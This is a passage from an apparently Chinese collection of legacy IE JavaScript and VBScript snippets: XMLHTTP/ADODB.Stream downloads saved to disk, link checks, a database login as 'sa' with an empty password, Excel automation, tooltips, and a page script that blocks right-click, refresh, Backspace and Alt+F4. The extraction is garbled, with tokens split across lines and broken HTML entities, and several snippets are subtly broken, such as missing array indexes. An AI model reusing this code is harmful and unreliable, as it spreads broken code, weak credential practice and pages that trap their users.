strLocalURL,
2
)
;

  adodbStream.Close
(
)
;

  adodbStream=
null
;

  xmlHTTP=
null
;

   
 }

 catch
(
e)

 {

  window.confirm
(
"下载URL出错!"
)
;

 }

 //window.confirm("下载完成.");

}

 
//检验连接是否有效

 
function
 getXML(
URL)
 
{

 var
 xmlhttp =
 new
 ActiveXObject(
"microsoft.xmlhttp"
)
;

 xmlhttp.Open
(
"GET"
,
URL,
 false
)
;
 
 try

 {
 
  xmlhttp.Send
(
)
;

 }

 catch
(
e)
{
}

 finally
 
 {

  var
 result =
 xmlhttp.responseText
;

  if
(
result)
 
  {

   if
(
xmlhttp.Status
==
200
)

   {

    return
(
true
)
;

   }

   else
 
   {

    return
(
false
)
;

   }

  }

  else
 
  {

   return
(
false
)
;

  }

 }

}

 
//POST代替FORM

&
lt;
SCRIPT language=
"VBScript"
&
gt;

Function
 URLEncoding(
vstrIn)

strReturn =
 ""

For
 i =
 1
 To Len(
vstrIn)

ThisChr =
 Mid(
vStrIn,
i,
1
)

If
 Abs(
Asc(
ThisChr)
)
 &
lt;
 &
amp;
HFF Then
strReturn =
 strReturn &
amp;
 ThisChr
Else

innerCode =
 Asc(
ThisChr)

If
 innerCode &
lt;
 0
 Then
innerCode =
 innerCode +
 &
amp;
H10000
End If

Hight8 =
 (
innerCode  And &
amp;
HFF00)
\ &
amp;
HFF
Low8 =
 innerCode And &
amp;
HFF
strReturn =
 strReturn &
amp;
 "%"
 &
amp;
 Hex(
Hight8)
 &
amp;
  "%"
 &
amp;
 Hex(
Low8)

End If

Next
URLEncoding =
 strReturn
End Function

Function
 bytes2BSTR(
vIn)

strReturn =
 ""

For
 i =
 1
 To LenB(
vIn)

ThisCharCode =
 AscB(
MidB(
vIn,
i,
1
)
)

If
 ThisCharCode &
lt;
 &
amp;
H80 Then
strReturn =
 strReturn &
amp;
 Chr(
ThisCharCode)

Else

NextCharCode =
 AscB(
MidB(
vIn,
i+
1
,
1
)
)

strReturn =
 strReturn &
amp;
 Chr(
CLng(
ThisCharCode)
 *
 &
amp;
H100 +
 CInt(
NextCharCode)
)

i =
 i +
 1

End If

Next
bytes2BSTR =
 strReturn
End Function

dim strA,
oReq
strA =
 URLEncoding(
"submit1=Submit&amp;text1=中文"
)

set oReq =
 CreateObject(
"MSXML2.XMLHTTP"
)

oReq.open
 "POST"
,
"<a href="
http:
//servername/VDir/TstResult.asp" target="_blank">http://ServerName/VDir/TstResult.asp</a>",false

oReq.setRequestHeader
 "Content-Length"
,
Len(
strA)

oReq.setRequestHeader
 "CONTENT-TYPE"
,
"application/x-www-form-urlencoded"

oReq.send
 strA
msgbox bytes2BSTR(
oReq.responseBody
)

&
lt;/
SCRIPT&
gt;

 
//readyState是xmlhttp返回数据的进度,0=载入中,1=未初始化,2=已载入,3=运行中,4=完成

//组件是否安装

 
isComponentInstalled(
"{6B053A4B-A7EC-4D3D-4567-B8FF8A1A5739}"
,
 "componentID"
)
)

 
//检查网页是否存在

 
function
 CheckURL(
URL)

{

  var
 xmlhttp =
 new
 ActiveXObject(
"Microsoft.XMLHTTP"
)
;

  xmlhttp.Open
(
"GET"
,
URL,
 false
)
;

  try

  {
 
    xmlhttp.Send
(
)
;
 
    var
 result =
 xmlhttp.status
;

  }

  catch
(
e)
 {
return
(
false
)
;
 }

  if
(
result==
200
)

  {
 
    return
 true
;

  }

  xmlhttp =
 null
;

  return
 false
;

}

 
//连接数据库

 
&
lt;
script language=
"javascript"
&
gt;

//用 JavaScript 写服务器端连接数据库的代码示例

var
 conn =
 new
 ActiveXObject(
"ADODB.Connection"
)
;

conn.Open
(
"Provider=SQLOLEDB.1; Data Source=localhost; User ID=sa; "

+
"Password=; Initial Catalog=pubs"
)
;

var
 rs =
 new
 ActiveXObject(
"ADODB.Recordset"
)
;

var
 sql=
"select * from authors"
;

rs.open
(
sql,
 conn)
;

shtml =
 "&lt;table width='100%' border=1&gt;"
;

shtml +=
"&lt;tr bgcolor='#f4f4f4'&gt;&lt;td&gt;au_id&lt;/td&gt;&lt;td&gt;au_lname&lt;/td&gt;&lt;td&gt;au_fname&lt;/td&gt;&lt;td&gt;phone&lt;/td&gt;&lt;td&gt;address&lt;/td&gt;&lt;td&gt; city&lt;/td&gt;&lt;td&gt;state&lt;/td&gt;&lt;td&gt;zip&lt;/td&gt;&lt;/tr&gt;"
;

while
(
!
rs.EOF
)

{

shtml +=
 "&lt;tr&gt;&lt;td&gt;"
 +
 rs(
"au_id"
)
 +
 "&lt;/td&gt;&lt;td&gt;"
 +
 rs(
"au_lname"
)
 +
 "&lt;/td&gt;&lt;td&gt;"
 +
 rs(
"au_fname"
)
 +
 "&lt;/td&gt;&lt;td&gt;"
 +
 rs(
"phone"
)
 +
 "&lt;/td&gt;&lt;td&gt;"
 +
 rs(
"address"
)
 +
 "&lt;/td&gt;&lt;td&gt;"
 +
 rs(
"city"
)
 +
 "&lt;/td&gt;&lt;td&gt;"
 +
 rs(
"state"
)
 +
 "&lt;/td&gt;&lt;td&gt;"
 +
 rs(
"zip"
)
 +
 "&lt;/td&gt;&lt;/tr&gt;"
;

rs.moveNext
;

}

shtml +=
 "&lt;/table&gt;"
;

document.write
(
shtml)
;

rs.close
(
)
;

rs =
 null
;

conn.close
(
)
;

conn =
 null
;

&
lt;/
script&
gt;

 
//使用数据岛

&
lt;
html&
gt;

&
lt;
body&
gt;

srno:&
lt;
input type=
text datasrc=
#xmldate DataFLD=
srno size=
"76"
&
gt;&
lt;
BR&
gt;

times:&
lt;
input type=
text datasrc=
#xmldate DataFLD=
times size=
"76"
&
gt;&
lt;
BR&
gt;

&
lt;
input id=
"first"
 TYPE=
button value=
"&lt;&lt; 第一条记录"
 onclick=
"xmldate.recordset.moveFirst()"
&
gt;

&
lt;
input id=
"prev"
 TYPE=
button value=
"&lt;上一条记录"
 onclick=
"xmldate.recordset.movePrevious()"
&
gt;

&
lt;
input id=
"next"
 TYPE=
button value=
"下一条记录&gt;"
 onclick=
"xmldate.recordset.moveNext()"
&
gt;

&
lt;
input id=
"last"
 TYPE=
button value=
"最后一条记录&gt;&gt;"
 onclick=
"xmldate.recordset.moveLast()"
&
gt;

&
lt;
input id=
"Add"
 TYPE=
button value=
"添加新记录"
 onclick=
"xmldate.recordset.addNew()"
&
gt;

&
lt;
XML ID=
"xmldate"
&
gt;

&
lt;
infolist&
gt;

&
lt;
info &
gt;&
lt;
srno&
gt;
20041025
-
01&
lt;/
srno&
gt;&
lt;
times&
gt;
null&
lt;/
times&
gt;&
lt;/
info&
gt;

&
lt;
info &
gt;&
lt;
srno&
gt;
20041101
-
09&
lt;/
srno&
gt;&
lt;
times&
gt;
20041012220&
lt;/
times&
gt;&
lt;/
info&
gt;

&
lt;/
infolist&
gt;

&
lt;/
XML&
gt;

&
lt;/
body&
gt;

&
lt;/
html&
gt;

 
//获得参数

&
lt;
body&
gt;

&
lt;
a href=
"javascript:location.href=location.href + '?a=1&amp;b=2'"
&
gt;
search[
/
url]

&
lt;
script language=
"JavaScript"
&
gt;

&
lt;!--

var
 a =
 location.search
.substr
(
1
)
;

if
(
a.length
&
gt;
0
)

{

var
 re =
 /([^&amp;]*?)\=([^&amp;]*)/g

var
 s =
 a.match
(
re)
;

for
(
var
 i=
 0
;
i&
lt;
s.length
;
i++
)

{

alert
(
s)
;

alert
(
s.split
(
"="
)
[
1
]
)
;

}

}

//--&gt;

&
lt;/
script&
gt;

&
lt;/
body&
gt;

 
//可编辑SELECT

&
lt;
input type=
text name
=
re_name style=
"width:100px;height:21px;font-size:10pt;"
&
gt;&
lt;
span style=
"width:18px;border:0px solid red;"
&
gt;&
lt;
select name
=
"r00"
 style=
"margin-left:-100px;width:118px; background-color:#FFEEEE;"
 onChange=
"document.all.re_name.value=this.value;"
&
gt;

&
lt;
option value=
"1"
&
gt;
11111111
&
lt;
option&
gt;

&
lt;
option value=
"2"
&
gt;
222222
&
lt;/
option&
gt;

&
lt;
option value=
"3"
&
gt;
333333
&
lt;/
option&
gt;

&
lt;/
select&
gt;

&
lt;/
span&
gt;

 
//设置光标位置

 
function
 getCaret(
textbox)

{

 var
 control =
 document.activeElement
;

 textbox.focus
(
)
;

 var
 rang =
 document.selection
.createRange
(
)
;

  rang.setEndPoint
(
"StartToStart"
,
textbox.createTextRange
(
)
)

 control.focus
(
)
;

 return
 rang.text
.length
;

}

function
 setCaret(
textbox,
pos)

{

 try

 {

  var
 r =
textbox.createTextRange
(
)
;

   r.moveStart
(
'character'
,
pos)
;

   r.collapse
(
true
)
;

   r.select
(
)
;

 }

 catch
(
e)

 {
}

}

function
 selectLength(
textbox,
start,
len)

{

 try

 {

  var
 r =
textbox.createTextRange
(
)
;

 
  r.moveEnd
(
'character'
,
len-
(
textbox.value
.length
-
start)
)
;

  r.moveStart
(
'character'
,
start)
;

   
  r.select
(
)
;

 }

 catch
(
e)

 {
//alert(e.description)}

}

function
 insertAtCaret(
textbox,
text)

{

 textbox.focus
(
)
;

 document.selection
.createRange
(
)
.text
 =
 text;

}

 
//页内查找

 
function
 findInPage(
str)

{

 var
 txt,
 i,
 found,
n =
 0
;

 if
 (
str ==
 ""
)

 {

  return
 false
;

 }

 txt =
 document.body
.createTextRange
(
)
;

 for
 (
i =
 0
;
 i &
lt;=
 n &
amp;&
amp;
 (
found =
 txt.findText
(
str)
)
 !=
 false
;
 i++
)

 {

  txt.moveStart
(
"character"
,
 1
)
;

  txt.moveEnd
(
"textedit"
)
;

 }

 if
 (
found)

 {

  txt.moveStart
(
"character"
,
 -
1
)
;

  txt.findText
(
str)
;

  txt.select
(
)
;

  txt.scrollIntoView
(
)
;

  n++;
   
 }

 else

 {

  if
 (
n &
gt;
 0
)

  {

   n =
 0
;

   findInPage(
str)
;

  }

  else

  {

   alert
(
str +
 "...            您要找的文字不存在。\n
 \n
请试着输入页面中的关键字再次查找!"
)
;

  }

 }

 return
 false
;

}

 
//书

 
<
a href=
"http://www.itpub.net/attachment.php?s=&amp;postid=1894598"
 target=
"_blank"
>
http:
//www.itpub.net/attachment.php?s=&amp;postid=1894598</a>

<
a href=
"http://www.wrclub.net/down/listdown.aspx?id=1341"
 target=
"_blank"
>
http:
//www.wrclub.net/down/listdown.aspx?id=1341</a>

//操作EXECL

&
lt;
script language=
"javascript"
&
gt;

function
 jStartExcel(
)
 {

var
 xls =
 new
 ActiveXObject (
 "Excel.Application"
 )
;

xls.visible
 =
 true
;

var
 newBook =
 xls.Workbooks
.Add
;

newBook.Worksheets
.Add
;

newBook.Worksheets
(
1
)
.Activate
;

xls.ActiveWorkBook
.ActiveSheet
.PageSetup
.Orientation
 =
 2
;

xls.ActiveWorkBook
.ActiveSheet
.PageSetup
.PaperSize
 =
 5
;

newBook.Worksheets
(
1
)
.Columns
(
"A"
)
.columnwidth
=
50
;

newBook.Worksheets
(
1
)
.Columns
(
"A"
)
.WrapText
 =
 true
;

newBook.Worksheets
(
1
)
.Columns
(
"B"
)
.columnwidth
=
50
;

newBook.Worksheets
(
1
)
.Columns
(
"B"
)
.WrapText
 =
 true
;

newBook.Worksheets
(
1
)
.Range
(
"A1:B1000"
)
.NumberFormat
 =
 "0"
;

newBook.Worksheets
(
1
)
.Range
(
"A1:B1000"
)
.HorizontalAlignment
 =
 -
4131
;

newBook.Worksheets
(
1
)
.Cells
(
1
,
1
)
.Interior
.ColorIndex
=
"15"
;

newBook.Worksheets
(
1
)
.Cells
(
1
,
1
)
.value
=
"First Column, First Cell"
;

newBook.Worksheets
(
1
)
.Cells
(
2
,
1
)
.value
=
"First Column, Second Cell"
;

newBook.Worksheets
(
1
)
.Cells
(
1
,
2
)
.value
=
"Second Column, First Cell"
;

newBook.Worksheets
(
1
)
.Cells
(
2
,
2
)
.value
=
"Second Column, Second Cell"
;

newBook.Worksheets
(
1
)
.Name
=
"My First WorkSheet"
;

}

&
lt;/
script&
gt;

 
//自定义提示条

&
lt;
a href=
"#"
 title=
"这是提示"
&
gt;
tip[
/
url]

&
lt;
script Language=
"JavaScript"
&
gt;

//***********默认设置定义.*********************

tPopWait=
50
;
//停留tWait豪秒后显示提示。

tPopShow=
5000
;
//显示tShow豪秒后关闭提示

showPopStep=
20
;

popOpacity=
99
;

//***************内部变量定义*****************

sPop=
null
;

curShow=
null
;

tFadeOut=
null
;

tFadeIn=
null
;

tFadeWaiting=
null
;

document.write
(
"&lt;style type='text/css'id='defaultPopStyle'&gt;"
)
;

document.write
(
".cPopText {  background-color: #F8F8F5;color:#000000; border: 1px #000000 solid;font-color: font-size: 12px; padding-right: 4px; padding-left: 4px; height: 20px; padding-top: 2px; padding-bottom: 2px; filter: Alpha(Opacity=0)}"
)
;

document.write
(
"&lt;/style&gt;"
)
;

document.write
(
"&lt;div id='dypopLayer' style='position:absolute;z-index:1000;' class='cPopText'&gt;&lt;/div&gt;"
)
;

function
 showPopupText(
)
{

var
 o=
event.srcElement
;

MouseX=
event.x
;

MouseY=
event.y
;

if
(
o.alt
!=
null
 &
amp;&
amp;
 o.alt
!=
""
)
{
o.dypop
=
o.alt
;
o.alt
=
""
}
;

if
(
o.title
!=
null
 &
amp;&
amp;
 o.title
!=
""
)
{
o.dypop
=
o.title
;
o.title
=
""
}
;

if
(
o.dypop
!=
sPop)
 {

sPop=
o.dypop
;

clearTimeout(
curShow)
;

clearTimeout(
tFadeOut)
;

clearTimeout(
tFadeIn)
;

clearTimeout(
tFadeWaiting)
;

if
(
sPop==
null
 ||
 sPop==
""
)
 {

dypopLayer.innerHTML
=
""
;

dypopLayer.style
.filter
=
"Alpha()"
;

dypopLayer.filters
.Alpha
.opacity
=
0
;

}

else
 {

if
(
o.dyclass
!=
null
)
 popStyle=
o.dyclass

else
 popStyle=
"cPopText"
;

curShow=
setTimeout(
"showIt()"
,
tPopWait)
;

}

}

}

function
 showIt(
)
{

dypopLayer.className
=
popStyle;

dypopLayer.innerHTML
=
sPop;

popWidth=
dypopLayer.clientWidth
;

popHeight=
dypopLayer.clientHeight
;

if
(
MouseX+
12
+
popWidth&
gt;
document.body
.clientWidth
)
 popLeftAdjust=-
popWidth-
24

else
 popLeftAdjust=
0
;

if
(
MouseY+
12
+
popHeight&
gt;
document.body
.clientHeight
)
 popTopAdjust=-
popHeight-
24

else
 popTopAdjust=
0
;

dypopLayer.style
.left
=
MouseX+
12
+
document.body
.scrollLeft
+
popLeftAdjust;

dypopLayer.style
.top
=
MouseY+
12
+
document.body
.scrollTop
+
popTopAdjust;

dypopLayer.style
.filter
=
"Alpha(Opacity=0)"
;

fadeOut(
)
;

}

function
 fadeOut(
)
{

if
(
dypopLayer.filters
.Alpha
.opacity
&
lt;
popOpacity)
 {

dypopLayer.filters
.Alpha
.opacity
+=
showPopStep;

tFadeOut=
setTimeout(
"fadeOut()"
,
1
)
;

}

else
 {

dypopLayer.filters
.Alpha
.opacity
=
popOpacity;

tFadeWaiting=
setTimeout(
"fadeIn()"
,
tPopShow)
;

}

}

function
 fadeIn(
)
{

if
(
dypopLayer.filters
.Alpha
.opacity
&
gt;
0
)
 {

dypopLayer.filters
.Alpha
.opacity
-=
1
;

tFadeIn=
setTimeout(
"fadeIn()"
,
1
)
;

}

}

document.onmouseover
=
showPopupText;

&
lt;/
script&
gt;

//插入文字

 
document.onclick
 =
function
(
)
{
 
var
 oSource =
 window.event
.srcElement
;
 
if
(
oSource.tagName
!=
"DIV"
)
 
return
 false
;
 
var
 sel =
 document.selection
;
 
if
 (
sel!=
null
)
 {
 
var
 rng =
 sel.createRange
(
)
;
 
if
 (
rng!=
null
)
 
rng.pasteHTML
(
"&lt;font color=red&gt;插入文字&lt;/font&gt;"
)
;
 
}
 
}
 
//netscapte下操作xml

 
doc =
 new
 ActiveXObject(
"Msxml2.DOMDocument"
)
;

doc =
 new
 ActiveXObject(
"Microsoft.XMLDOM"
)

-&
gt;&
gt;

doc =
 (
new
 DOMParser(
)
)
.parseFromString
(
sXML,
'text/xml'
)

 
//判断键值

&
lt;
html&
gt;

&
lt;
meta http-
equiv=
"Content-Type"
 content=
"text/html; charset=gb2312"
&
gt;

&
lt;
head&
gt;

&
lt;
script language=
"javascript"
&
gt;

var
 ie  =
navigator.appName
==
"Microsoft Internet Explorer"
?
true
:
false
;

function
 keyDown(
e)

{

if
(
!
ie)

{

var
 nkey=
e.which
;

var
 iekey=
'现在是ns浏览器'
;

var
 realkey=
String.fromCharCode
(
e.which
)
;

}

if
(
ie)

{

var
 iekey=
event.keyCode
;

var
 nkey=
'现在是ie浏览器'
;

var
 realkey=
String.fromCharCode
(
event.keyCode
)
;

if
(
event.keyCode
==
32
)
{
realkey=
'\'
 空格\'
'
}

if
(
event.keyCode
==
13
)
{
realkey=
'\'
 回车\'
'
}

if
(
event.keyCode
==
27
)
{
realkey=
'\'
 Esc\'
'
}

if
(
event.keyCode
==
16
)
{
realkey=
'\'
 Shift\'
'
}

if
(
event.keyCode
==
17
)
{
realkey=
'\'
 Ctrl\'
'
}

if
(
event.keyCode
==
18
)
{
realkey=
'\'
 Alt\'
'
}

}

alert
(
'ns浏览器中键值:'
+
nkey+
'\n
'
+
'ie浏览器中键值:'
+
iekey+
'\n
'
+
'实际键为'
+
realkey)
;

}

document.onkeydown
 =
 keyDown;

&
lt;/
script&
gt;

&
lt;/
head&
gt;

&
lt;
body&
gt;

//Javascript Document.

 
<
hr style=
"clear: both;"
 />&
lt;
center&
gt;

&
lt;
h3&
gt;
请按任意一个键。。。。&
lt;/
h3&
gt;

&
lt;/
center&
gt;

&
lt;/
body&
gt;

&
lt;/
html&
gt;

 
//禁止FSO

 
1.注销组件
regsvr32 /
u scrrun.dll

2.修改PROGID
HKEY_CLASSES_ROOT\Scripting.FileSystemObject

Scripting.FileSystemObject

3.对于使用object的用户,修改HKEY_CLASSES_ROOT\Scripting.
 
//省略号

&
lt;
DIV STYLE=
"width: 120px; height: 50px; border: 1px solid blue;
overflow: hidden; text-overflow:ellipsis"
&
gt;

&
lt;
NOBR&
gt;
就是比如有一行文字,很长,表格内一行显示不下.&
lt;/
NOBR&
gt;

&
lt;/
DIV&
gt;

 
//检测media play版本

&
lt;
IE:
clientCaps ID=
"oClientCaps"
 style=
"{behavior:url(#default#clientcaps)}"
 /&
gt;

&
lt;
SCRIPT&
gt;

var
 flash=
""
;

WMPVersion=
 oClientCaps.getComponentVersion
(
"{22D6F312-B0F6-11D0-94AB-0080C74C7E95}"
,
"ComponentID"
)
;

if
 (
WMPVersion !=
 ""
)
 {

flash =
 ""
;

var
 version =
 WMPVersion.split
(
","
)
;

var
 i;

for
 (
i =
 0
;
 i &
lt;
 version.length
;
 i++
)
 {

if
 (
i !=
 0
)

flash +=
 "."
;

flash +=
 version;

}

document.write
(
"您的Windows Media Player 版本是:"
+
flash+
"&lt;p&gt;"
)
;

}

&
lt;/
SCRIPT&
gt;

 
//图象按比例

&
lt;
script language=
"JavaScript"
&
gt;

&
lt;!--

//图片按比例缩放

var
 flag=
false
;

function
 DrawImage(
ImgD)
{

var
 image=
new
 Image(
)
;

var
 iwidth =
 80
;
  //定义允许图片宽度

var
 iheight =
 80
;
  //定义允许图片高度

image.src
=
ImgD.src
;

if
(
image.width
&
gt;
0
 &
amp;&
amp;
 image.height
&
gt;
0
)
{

flag=
true
;

if
(
image.width
/
image.height
&
gt;=
 iwidth/
iheight)
{

if
(
image.width
&
gt;
iwidth)
{

ImgD.width
=
iwidth;

ImgD.height
=
(
image.height
*
iwidth)
/
image.width
;

}
else
{

ImgD.width
=
image.width
;

ImgD.height
=
image.height
;

}

ImgD.alt
=
image.width
+
"×"
+
image.height
;

}

else
{

if
(
image.height
&
gt;
iheight)
{

ImgD.height
=
iheight;

ImgD.width
=
(
image.width
*
iheight)
/
image.height
;

}
else
{

ImgD.width
=
image.width
;

ImgD.height
=
image.height
;

}

ImgD.alt
=
image.width
+
"×"
+
image.height
;

}

}

}

//--&gt;

&
lt;/
script&
gt;

&
lt;
img src=
".."
 onload
 =
 "DrawImage(this)"
&
gt;

 
//细线SELECT

 
&
lt;
span style=
"border:1px solid #000000; position:absolute; overflow:hidden;"
 &
gt;

&
lt;
select style=
"margin:-2px;"
&
gt;

&
lt;
option&
gt;
1111
&
lt;/
option&
gt;

&
lt;
option&
gt;
11111111111111
&
lt;/
option&
gt;

&
lt;
option&
gt;
111111111
&
lt;/
option&
gt;

&
lt;/
select&
gt;&
lt;/
span&
gt;

 
//Import

 
function
 Import
(
)
 {

 for
(
 var
 i=
0
;
 i&
lt;
arguments.length
;
 i++
 )
 {

  var
 file =
 arguments;

  if
 (
 file.match
(
/\.js$/i
)
)
 
   document.write
(
'&lt;script type=\"
text/javascript\"
 src=\"
'
 +
 file +
 '\"
&gt;&lt;/sc'
 +
 'ript&gt;'
)
;

  else

   document.write
(
'&lt;style type=\"
text/css\"
&gt;@import \"
'
 +
 file +
 '\"
 ;&lt;/style&gt;'
)
;

 }

}
;

 
//js枚举

 
function
 getComputerName(
)

{

 var
 objWMIService =
 GetObject(
"Winmgmts:root\c
imv2"
)
;

 for
(
e =
 new
 Enumerator(
objWMIService)
 ;
 !
e.atEnd
(
)
 ;
 e.moveNext
(
)
)

 {

    var
 getComputer =
 e.item
(
)
;

    return
 getComputer.Name
;

 }

}

 
//条件编译

 
&
lt;
script language=
javascript&
gt;

/*@cc_on @*/

/*@if (@_win32 &amp;&amp; @_jscript_version&gt;5)
function window.confirm(str)
{
execScript("n = msgbox('"+ str +"', 257)", "vbscript");
return(n == 1);
}
@end @*/

&
lt;/
script&
gt;

 
//取得innerText

 
&
lt;
SCRIPT LANGUAGE=
"JavaScript"
&
gt;

&
lt;!--

var
 xmlDoc =
 new
 ActiveXObject(
"Msxml2.DOMDocument.4.0"
)
;

var
 currNode;

xmlDoc.async
 =
 false
;

xmlDoc.async
 =
 false
;

xmlDoc.loadXML
(
"&lt;TABLENAME&gt;      你好你阿三    大法     司法等四              &lt;/TABLENAME&gt;"
)
;

currNode =
 xmlDoc.documentElement
;

var
 s =
 currNode.xml
;

var
 r =
 /\&lt;([^\&gt;\s]*?)[^\&gt;]*?\&gt;([^\&lt;]*?)\&lt;\/\1\&gt;/

var
 b =
 s.replace
(
r,
"$2"
)
;

alert
(
b)
;

//--&gt;

&
lt;/
SCRIPT&
gt;

//mergeAttributes 复制所有读/写标签属性到指定元素。

&
lt;
SCRIPT&
gt;

function
 fnMerge(
)
{

oSource.children
[
1
]
.mergeAttributes
(
oSource.children
[
0
]
)
;

}

&
lt;/
SCRIPT&
gt;

&
lt;
SPAN ID=
oSource&
gt;

&
lt;
DIV
ID=
"oDiv"

ATTRIBUTE1=
"true"

ATTRIBUTE2=
"true"

onclick=
"alert('click');"

onmouseover=
"this.style.color='#0000FF';"

onmouseout=
"this.style.color='#000000';"

&
gt;

This
 is
 a sample &
lt;
B&
gt;
DIV&
lt;/
B&
gt;
 element.
&
lt;/
DIV&
gt;

&
lt;
DIV ID=
"oDiv2"
&
gt;

This
 is
 another sample &
lt;
B&
gt;
DIV&
lt;/
B&
gt;
 element.
&
lt;/
DIV&
gt;

&
lt;/
SPAN&
gt;

&
lt;
INPUT
TYPE=
"button"

VALUE=
"Merge Attributes"

onclick=
"fnMerge()"

&
gt;

 
检查链接是否有效
<
a href=
"http://www.pconline.com.cn/welcome.asp%22%20onclick=%22mm(this,%20%27[url"
 target=
"_blank"
>
http:
//www.pconline.com.cn/</a>')]test[/url]

&
lt;
script language=
"javascript"
&
gt;

function
 getURL(
url)

{

var
 xmlhttp =
 new
 ActiveXObject(
"Microsoft.XMLHTTP"
)
;

xmlhttp.open
(
"GET"
,
url,
false
)
;

xmlhttp.send
(
)
;

if
 (
xmlhttp.readyState
==
4
)
 return
 xmlhttp.Status
==
200
;

return
 false
;

}

function
 mm(
e,
 url)

{

if
(
!
getURL(
e.href
)
)
 e.href
 =
 url;

}

&
lt;/
script&
gt;

 
判断是否输入值再激活按钮
&
lt;
script&
gt;

function
 check(
)
{

s.disabled
 =
 (
t1.value
 ==
 ''
 ||
 t2.value
 ==
 ''
 ||
 t3.value
 ==
 ''
)

}

&
lt;/
script&
gt;

&
lt;
input name
=
"t1"
 onpropertychange=
"check();"
&
gt;

&
lt;
input name
=
"t2"
 onpropertychange=
"check();"
&
gt;

&
lt;
input name
=
"t3"
 onpropertychange=
"check();"
&
gt;

&
lt;
input type=
"submit"
 name
=
"s"
 disabled&
gt;

 
屏蔽鼠标右键、Ctrl+
N、Shift+
F10、Alt+
F4、F11、F5刷新、退格键
&
lt;
html&
gt;

&
lt;
head&
gt;

&
lt;
meta http-
equiv=
"Content-Type"
 content=
"text/html; charset=gb2312"
&
gt;

&
lt;
noscript&
gt;&
lt;
meta http-
equiv=
"refresh"
 content=
"0;url=about:noscript"
&
gt;&
lt;/
noscript&
gt;

&
lt;
title&
gt;
屏蔽鼠标右键、Ctrl+
N、Shift+
F10、Alt+
F4、F11、F5刷新、退格键&
lt;/
title&
gt;

&
lt;/
head&
gt;

&
lt;
body&
gt;

&
lt;
script language=
"Javascript"
&
gt;&
lt;!--

//屏蔽鼠标右键、Ctrl+N、Shift+F10、F11、F5刷新、退格键

//Author: meizz(梅花雨) 2002-6-18

function
 document.oncontextmenu
(
)
{
event.returnValue
=
false
;
}
//屏蔽鼠标右键

function
 window.onhelp
(
)
{
return
 false
}
 //屏蔽F1帮助

function
 document.onkeydown
(
)

{

if
 (
(
window.event
.altKey
)
&
amp;&
amp;

(
(
window.event
.keyCode
==
37
)
||
   //屏蔽 Alt+ 方向键 ←

(
window.event
.keyCode
==
39
)
)
)
   //屏蔽 Alt+ 方向键 →

{

alert
(
"不准你使用ALT+方向键前进或后退网页!"
)
;

event.returnValue
=
false
;

}

/* 注:这还不是真正地屏蔽 Alt+ 方向键,
因为 Alt+ 方向键弹出警告框时,按住 Alt 键不放,
用鼠标点掉警告框,这种屏蔽方法就失效了。以后若
有哪位高手有真正屏蔽 Alt 键的方法,请告知。*/

if
 (
(
event.keyCode
==
8
)
  ||
                 //屏蔽退格删除键

(
event.keyCode
==
116
)
||
                 //屏蔽 F5 刷新键

(
event.ctrlKey
 &
amp;&
amp;
 event.keyCode
==
82
)
)
{
 //Ctrl + R

event.keyCode
=
0
;

event.returnValue
=
false
;

}

if
 (
event.keyCode
==
122
)
{
event.keyCode
=
0
;
event.returnValue
=
false
;
}
  //屏蔽F11

if
 (
event.ctrlKey
 &
amp;&
amp;
 event.keyCode
==
78
)
 event.returnValue
=
false
;
   //屏蔽 Ctrl+n

if
 (
event.shiftKey
 &
amp;&
amp;
 event.keyCode
==
121
)
event.returnValue
=
false
;
  //屏蔽 shift+F10

if
 (
window.event
.srcElement
.tagName
 ==
 "A"
 &
amp;&
amp;
 window.event
.shiftKey
)

window.event
.returnValue
 =
 false
;
             //屏蔽 shift 加鼠标左键新开一网页

if
 (
(
window.event
.altKey
)
&
amp;&
amp;
(
window.event
.keyCode
==
115
)
)
             //屏蔽Alt+F4

{

window.showModelessDialog
(
"about:blank"
,
""
,
"dialogWidth:1px;dialogheight:1px"
)
;

return
 false
;

}

}

&
lt;/
script&
gt;

屏蔽鼠标右键、Ctrl+
N、Shift+
F10、Alt+
F4、F11、F5刷新、退格键
&
lt;/
body&
gt;

&
lt;/
html&
gt;

 
自定义热键(请按a)
&
lt;
SCRIPT language=
"JavaScript"
&
gt;

&
lt;!--

var
 hotkey=
97

var
 destination=
"<a href="
http:
//www.wyev.com/" target="_blank">http://www.wyev.com</a>"

if
 (
document.layers
)

document.captureEvents
(
Event.KEYPRESS
)

function
 backhome(
e)
{

if
 (
document.layers
)
{

if
 (
e.which
==
hotkey)

window.location
=
destination
}

else
 if
 (
document.all
)
{

if
 (
event.keyCode
==
hotkey)

window.location
=
destination
}

}

document.onkeypress
=
backhome
//--&gt;

&
lt;/
SCRIPT&
gt;

 
&
lt;
script&
gt;

var
 s=
'中文,English'
;

alert
(
"["
+
s+
"]的长度:"
+
s.replace
(
/[^\x00-\xff]/gi
,
'xx'
)
.length
)

&
lt;/
script&
gt;

 
&
lt;!
DOCTYPE html PUBLIC
 "-//W3C//DTD XHTML 1.0 Transitional//EN"
 "<a href="
http:
//www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" target="_blank">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>"&gt;

&
lt;
html xmlns=
"<a href="
http:
//www.w3.org/1999/xhtml" target="_blank">http://www.w3.org/1999/xhtml</a>"&gt;

&
lt;
head&
gt;

&
lt;
meta http-
equiv=
"Content-Type"
 content=
"text/html; charset=gb2312"
 /&
gt;

&
lt;
title&
gt;
无标题文档&
lt;/
title&
gt;

&
lt;/
head&
gt;

&
lt;
body&
gt;

&
lt;
a id=
"StranLink"
&
gt;
繁体[
/
url]

网页代码检测 中国DotNet俱乐部——首页点乃特学习.z6ionestabw3cn
蓝色ideaMSDN 雷神竞技场中文站论坛 z987论坛 VeryCD游戏专区 Google
&
lt;
script type=
"text/javascript"
&
gt;

//模仿语言包式的简繁转换功能插件!

//Edited by Stardy --2005-04-16 , Web :http://www.stardy.com , QQ:2885465

//Re-Edited by Stud --2005-10-10 , Web :http://www.metro.com.tw

var
 Default_isFT =
 0
      //默认是否繁体,0-简体,1-繁体

var
 StranIt_Delay =
 30
 //翻译延时毫秒(设这个的目的是让网页先流畅的显现出来)

//-------代码开始,以下别改-------

//转换文本

function
 StranText(
txt,
toFT,
chgTxt)

{

if
(
txt==
""
||
txt==
null
)
return
 ""

toFT=
toFT==
null
?
BodyIsFt:
toFT
if
(
chgTxt)
txt=
txt.replace
(
(
toFT?
"简"
:
"繁"
)
,
(
toFT?
"繁"
:
"简"
)
)

if
(
toFT)
{
return
 Simplized(
txt)
}

else
 {
return
 Traditionalized(
txt)
}

}

//转换对象,使用递归,逐层剥到文本

function
